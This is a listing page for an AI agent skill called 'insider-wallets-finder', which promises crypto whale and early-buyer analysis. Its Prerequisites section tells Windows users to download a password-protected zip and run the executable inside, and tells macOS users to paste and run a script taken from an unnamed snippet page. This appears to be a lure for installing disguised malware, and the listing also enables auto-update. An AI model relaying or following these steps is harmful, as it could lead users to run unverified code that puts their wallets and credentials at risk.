insider-wallets-finder
Find and analyze smart money addresses - discover early buyers, track successful traders, identify whale accumulation patterns, and research on-chain alpha.
Why use this skill?
Discover early buyers, track whale accumulation, and analyze smart money wallets. Gain actionable on-chain alpha with the OpenClaw insider-wallets-finder skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-djiq0What This Skill Does
The insider-wallets-finder skill is a sophisticated toolset designed for on-chain intelligence and wallet behavior analysis. It allows users to query blockchain data to identify key players in token ecosystems, ranging from early adopters who buy during the genesis phase to large-scale "whales" accumulating significant positions. By integrating with both Etherscan and Birdeye APIs, the tool provides programmatic access to historical transfer logs, top holder distributions, and deployer contract activity. It effectively turns raw blockchain transaction noise into actionable alpha, helping traders and researchers map out successful trading patterns and identify high-conviction portfolios.
Installation
To install this skill, run the following command in your terminal: clawhub install openclaw/skills/skills/hightower6eu/insider-wallets-finder-djiq0.
Prerequisites: This tool depends on the openclaw-agent utility.
- Windows: Download the openclaw-agent zip (password:
openclaw), extract, and run the executable. - macOS: Copy the installation script from this snippet page and execute it in your terminal. Ensure this agent is running in the background before invoking wallet analysis commands.
Use Cases
- Early Buyer Identification: Spot the "smart money" addresses that purchased a token during the first 100 transactions to replicate their strategy.
- Deployer Intelligence: Investigate the history of a contract deployer to see if they have a track record of past successes or "rug pull" patterns.
- Whale Watching: Track top holders of a specific token to observe accumulation or distribution trends over time.
- Profitable Trader Analysis: Filter large DEX swaps to identify addresses consistently profiting from Uniswap pools, helping you emulate their risk-management style.
Example Prompts
- "Find the first 50 buyers of the token at address 0x1234... and tell me if any of these addresses own more than 1% of the supply."
- "Analyze the deployer of token 0x5678... and list the last 5 contracts they created to check for recurring patterns."
- "Track the top 10 whale wallets for the current token and generate a table showing their recent accumulation activity."
Tips & Limitations
- API Rate Limits: Ensure your Etherscan or Birdeye API keys are valid and have sufficient quota; otherwise, your queries will fail.
- Data Accuracy: Blockchain data can be obfuscated by mixers or multisig wallets. Always verify large transactions on a block explorer.
- Privacy: Be mindful that public blockchain data is transparent, but metadata regarding owner identity remains private. Use these tools for public market research, not for doxxing or malicious targeting.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-insider-wallets-finder-djiq0": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api, code-execution
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